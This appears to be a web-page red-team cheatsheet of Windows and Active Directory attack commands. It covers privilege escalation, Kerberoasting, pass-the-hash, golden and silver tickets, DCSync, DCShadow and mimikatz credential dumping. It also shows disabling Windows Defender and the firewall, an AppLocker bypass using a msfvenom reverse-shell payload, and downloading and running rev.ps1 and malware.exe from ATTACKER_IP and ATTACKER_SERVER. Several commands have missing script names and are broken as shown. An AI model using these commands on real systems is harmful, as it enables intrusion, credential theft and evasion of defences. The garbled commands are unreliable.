red team cheatsheet


# Systeminfo systeminfo hostname # Especially good with hotfix info wmic qfe get Caption,Description,HotFixID,InstalledOn # What users/localgroups are on the machine? net users net localgroups net user hacker # To see domain groups if we are in a domain net group /domain net group /domain # Network information ipconfig /all route print arp -A # To see what tokens we have whoami /priv # Recursive string scan findstr /spin "password" *.* # Running processes tasklist /SVC # Network connections netstat -ano # Search for writeable directories dir /a-r-d /s /b ### Some good one-liners # Obtain the path of the executable called by a Windows service (good for checking Unquoted Paths): sc query state= all | findstr "SERVICE_NAME:" >> a & FOR /F "tokens=2 delims= " %i in (a) DO @echo %i >> b & FOR /F %i in (b) DO @(@echo %i & @echo --------- & @sc qc %i | findstr "BINARY_PATH_NAME" & @echo.) & del a 2>nul & del b 2>nul # current domain info [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() # domain trusts ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() # current forest info [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() # get forest trust relationships ([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships() # get DCs of a domain nltest /dclist:offense.local net group "domain controllers" /domain # get DC for currently authenticated session nltest /dsgetdc:offense.local # get domain trusts from cmd shell nltest /domain_trusts # get user info nltest /user:"spotless" # get DC for currently authenticated session set l # get domain name and DC the user authenticated to klist # get all logon sessions. Includes NTLM authenticated sessions klist sessions # kerberos tickets for the session klist # cached krbtgt klist tgt # whoami on older
Code language: PHP (php)

Elevation of Privileges


<code># PowerShellMafia # Use always dev branch others are shit. powershell.exe -c "Import-Module C:\Users\Public\PowerUp.ps1; Invoke-AllChecks" powershell.exe -c "Import-Module C:\Users\Public\Get-System.ps1; Get-System" . .\getsystem.ps1; [Myprocess]::CreateProcessFromParent((Get-Process Isass).Id,"cmd.exe") # Sherlock #0xsp mongoose # Unquoted paths wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """</code>
Code language: PHP (php)


– For kerberos to work, times have to be within 5 minutes between attacker and victim.

# Rubeus .\.rubeus.exe kerberoast /creduser:ecorp\user/credpassword:pass1234 # List available tickets setspn.exe -t evil.corp -q */* # List cached tickets Invoke-Mimikatz -Command '"kerberos::list"' powershell.exe -c "klist" powershell.exe -c "Import-Module C:\Users\Public\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command '"kerberos::list"'" # Request tickets Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local" # Requesting from outside python -request ECORP/user:supersecurepassword@ # Export tickets powershell.exe -c "Import-Module C:\Users\Public\Invoke-Kerberoast.ps1; Invoke-Kerberoast -OutputFormat Hashcat" Invoke-Mimikatz -Command '"kerberos::list /export"' # Crack Tickets python /usr/share/wordlists/rockyou.txt ticket.kirbi
Code language: PHP (php)

Juicy Potato Exploit Pick one CLSID from here according to your system

Required tokens SeAssignPrimaryTokenPrivilege SeImpersonatePrivilege

C:\Windows\Temp\JuicyPotato.exe -p cmd.exe -a "/c whoami > C:\Users\Public\morph3.txt" -t * -l 1031 -c {d20a3293-3341-4ae8-9aaf-8e397cb63c34}
Code language: JavaScript (javascript)

Stored Credential

# To check if there is any stored keyscmdkey /list # Using them runas /user:administrator /savecred "cmd.exe /k whoami"
Code language: PHP (php)

Impersonating Tokens with meterpreter

use incognito list_tokens -u impersonate_token NT-AUTHORITY\System
Code language: PHP (php)

Lateral Movement

PsExec, SmbExec, WMIExec, RDP, PTH in general. Since windows gave support to OpenSSH we should also consider SSH.

Mimikatz Ticket PTH

Enable-PSRemotingmimikatz.exe '" kerberos:ptt C:\Users\Public\ticketname.kirbi"' "exit"Enter-PSSession -ComputerName ECORP
Code language: JavaScript (javascript)

Winrm Session

$pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential ('ECORP.local\morph3', $pass)Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
Code language: PHP (php)

PTH with Mimikatz

Invoke-Mimikatz -Command '"sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:command"'
Code language: JavaScript (javascript)

Database Links

# PowerUpSQL Get-SQLServerLink -Instance server -Verbose powershell.exe -c "Import-Module C:\Users\Public\PowerUpSQL.ps1; Invoke-SQLEscalatePriv -Verbose -Instance ECORP\sql" # To see servers select srvname from master..sysservers; # Native Get-SQLServerLinkCrawl -Instance server -Query "exec master..xp_cmdshell 'whoami'" # Linked database tables select * from openquery("ECORP\FOO", 'select TABLE_NAME from FOO.INFORMATION_SCHEMA.TABLES') # You can also use meterpreter module exploit/windows/mssql/mssql_linkcrawler # With meterpreter module you can find linked databases and if you are admin on them # You can do a query and try to enable xp_cmpshell on that server select * from openquery("server",'select * from master..sysservers') EXECUTE AS USER = 'internal_user' ('sp_configure "xp_cmdshell",1;reconfigure;') AT "server"
Code language: PHP (php)

Golden and Silver Tickets

Keys depend of ticket : –> for a Golden, they are from the krbtgt account; –> for a Silver, it comes from the “computer account” or “service account”

# Golden Ticket # Extract the hash of the krbtgt user lsadump::dcsync /domain:evil.corp /user:krbtgt lsadump::lsa /inject lsadump:::lsa /patch lsadump::trust /patch # creating the ticket # /rc4 or /krbtgt - the NTLM hash # /sid you will get this from krbtgt dump # /ticket parameter is optional but default is ticket.kirbi # /groups parameter is optional but default is 513,512,520,518,519 # /id you can fake users and supply valid Administrator id kerberos::golden /user:morph3 /domain:evil.corp /sid:domains-sid /krbtgt:krbtgt-hash /ticket:ticket.kirbi /groups:501,502,513,512,520,518,519 # After this , final ticket must be ready # Purge the currently cached kerberos ticket kerberos::purge kerberos::ptt golden.tck # you can also add /ptt at the kerberos::golden command # You can now verify that your ticket is in your cache powershell.exe -c "klist" # Verify that golden ticket is working dir \\DC\C$ psexec.exe \\DC cmd.exe # Silver Ticket # Silver Ticket allows escalation of privileges on DC # /target t he server/computer name where the service is hosted (ex: share.server.local, sql.server.local:1433, ...) # /service - The service name for the ticket (ex: cifs, rpcss, http, mssql, ...) kerberos::golden /user:morph3 /domain:domain /sid:domain-sid /target:evilcorp-sql102.evilcorp.local.1433 /service:MSSQLSvc /rc4:service-hash /ptt /id:1103 sqlcmd -S evilcorp-sql102.evilcorp.local select SYSTEM_USER; GO kerberos::golden /user:JohnDoe /id:500 / /sid:S-1-5-21-1234567890-123456789-1234567890 / /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt
Code language: PHP (php)

AD Attacks

DC Shadow

DC Shadow attack aims to inject malicious Domain Controllers into AD infrastructure so that we can dump actual AD members.

#Find sid for that user wmic useraccount where (name='administrator' and domain='%userdomain%') get name,sid #This will create a RPC Server and listen lsadump::dcshadow /object:"CN=morph3,OU=Business,OU=Users,OU=ECORP,DC=ECORP,DC=local" /attribute:sidhistory /value:sid # Run this from another mimikatz lsadump::dcshadow /push # After this unregistration must be done # Relogin lsadump::dcsync /domain:ECORP.local /account:krbtgt # Now you must have krbtgt hash
Code language: PHP (php)

DC Sync

## lsadump::dcsync /domain:domain /all /csv lsadump::dcsync /user:krbtgt ##### powershell.exe -c "Import-Module .\Invoke-DCSync.ps1; Invoke-DCSync -PWDumpFormat" ##### python -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@ python -system /tmp/SYSTEM -ntds /tmp/ntds.dit LOCAL
Code language: PHP (php)

Bypass-Evasion Techniques

Powershell Constrained Language Bypass

powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')PSByPassCLM

Windows Defender

sc config WinDefend start= disabled sc stop WinDefend # Powershell Set-MpPreference -DisableRealtimeMonitoring $true # Remove definitions "%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Code language: PHP (php)


Netsh Advfirewall show allprofilesNetSh Advfirewall set allprofiles state off
Code language: JavaScript (javascript)

Ip Whitelisting

New-NetFirewallRule -Name inrules -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
Code language: PHP (php)

Applocker ByPass # Multistep process to bypass applocker via MSBuild.exe: msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=9001 -f csharp -e x86/shikata_ga_nai -i > out.cs # Replace the buf-sc and save it as out.csproj Invoke-WebRequest "http://ATTACKER_IP/payload.csproj" -OutFile "out.csproj"; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe .\out.csproj
Code language: PHP (php)


# This also needs Veil-Framework python --ip --port 443 -t Bypass -p installutil/powershell/ -c "OBFUSCATION=ascii SCRIPT=/root/script.ps1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload1.exe python3 -t Bypass -p regasm/meterpreter/rev_tcp --ip --port 9001 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload.dll
Code language: PHP (php)


#Preparing payloads python EncrypterAssembly/ EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt EncrypterAssembly.exe EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt #Executing payload SalseoLoader.exe password http://ATTACKER_IP/evilsalsa.dll.txt reversetcp ATTACKER_IP 9001 # Reverse icmp shell python "ATTACKER_IP" "VICTIM_IP" SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ATTACKER_IP
Code language: PHP (php)


Changing Permissions of a file

icacls text.txt /grant Everyone:F

Downloading files

IEX (New-Object System.Net.WebClient).DownloadString("http://ATTACKER_IP/rev.ps1")(New-Object System.Net.WebClient).DownloadFile("http://ATTACKER_SERVER/malware.exe", "C:\Windows\Temp\malware.exe") Invoke-WebRequest "http://ATTACKER_SERVER/malware.exe" -OutFile "C:\Windows\Temp\malware.exe"
Code language: JavaScript (javascript)

Adding user to Domain admins

Add-DomainGroupMember -Identity 'Domain Admins' -Members morph3 -Verbose
Code language: JavaScript (javascript)

Base64 Decode

certutil -decode foo.b64 foo.exe
Code language: CSS (css)

Network sharing

# Local share net share wmic share get /format:list # Remote share net view net view \\ /all wmic /node: share get # Mounting share net use Z: \\\C$ /user:user password123
Code language: PHP (php)

Port Forwarding

#Port forward using plink plink.exe -l user -pw pass123 -R 8080: #Port forward using meterpreterportfwd add -l attacker-port -p victim-port -r victim-ip portfwd add -l 3306 -p 3306 -r # Dynamic Pivoting using ssh with proxy chain ssh -D 9050 root@target # Port forwarding with SSH ssh -L localhost:8080:target:8080 root@targetip
Code language: CSS (css)

Powershell Portscan

0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(VICTIM_IP,$_)) "Port $_ is open!"} 2>$null
Code language: PHP (php)

Recovering Powershell Secure String

###### $user = "user" $file = "user-pass.xml" $cred= New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, (Get-Content $file | ConvertTo-SecureString) Invoke-Command -ComputerName ECORP -Credential $cred -Authentication credssp -ScriptBlock { whoami } ###### [System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR("string")) ###### $Ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($password) $result = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($Ptr) [System.Runtime.InteropServices.Marshal]::ZeroFreeCoTaskMemUnicode($Ptr) $result
Code language: PHP (php)

Injecting PowerShell scripts Into sessions

Invoke-Command -FilePath scriptname -Sessions $sessions Enter-PSSession -Session $sess
Code language: PHP (php)

Enable RDP

# CMD reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f # Powershell Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0 Enable-NetFirewallRule -DisplayGroup "Remote Desktop" # Optional net localgroup "Remote Desktop Users" morph3 /add # Reruling firewall netsh advfirewall firewall set rule group="remote desktop" new enable=Yes netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow
Code language: PHP (php)

Decrypting EFS files with Mimikatz

Follow the link here How to Decrypt EFS Files

privilege::debug token::elevate crypto::system /file:"C:\Users\Administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\thecert" /export dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id" # Clear text password dpapi::masterkey /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\SID\masterkey" /password:pass123 # After this command you must have the exported .der and .pvk files dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id" /masterkey:f2c9ea33a990c865e985c496fb8915445895d80b openssl x509 -inform DER -outform PEM -in blah.der -out public.pem openssl rsa -inform PVK -outform PEM -in blah.pvk -out private.pem openssl pkcs12 -in public.pem -inkey private.pem -password pass:randompass -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx # Import the certificate certutil -user -p randompass -importpfx cert.pfx NoChain,NoRoot type "C:\Users\Administrator\Documents\encrypted.txt"
Code language: PHP (php)

Post exploitation – information gathering

Reading Event Logs

User must be in “Event Log Reader” group Follow this link

Get-WinEvent -ListLog * # Listing logs of a specific user $cred = Get-Credentials Get -WinEvent -ListLog * -ComputerName AD1 -Credentials $cred # Reading Security logs (Get-WinEvent -FilterHashtable @{LogName = 'Security'} | Select-Object @{name='NewProcessNam e';expression={ $_.Properties[5].Value }}, @{name='CommandLine';expression={ $_.Properties[8].Value }}).commandline
Code language: PHP (php)

Password Dump

# Metasploit post/windows/gather/enum_chrome post/multi/gather/firefox_creds post/firefox/gather/cookies post/firefox/gather/passwords post/windows/gather/forensics/browser_history post/windows/gather/enum_putty_saved_sessions # Empire collection/ChromeDump collection/FoxDump collection/netripper credentials/sessiongopher # mimikatz privilege::debug sekurlsa::logonpasswords
Code language: PHP (php)

NTDS.dit dump -system /tmp/SYSTEM -ntds /tmp/ntds.dit -outputfile /tmp/result local python -u morph3 -p pass1234 -d --ntds drsuapi # on DC, lsass.exe can dump hashes lsadump::lsa /inject
Code language: PHP (php)

Summary of tools

Ad Environment

icebreaker bloodhound adfly

Post Exploitation

Empire DeathStar CrackMapExec – CME Covenant Rubeus SharpDPAPI


Ebowla Veil-Framework PsBypassCLM invoke-metasploit

Swiss Knife


0xsp mongoose

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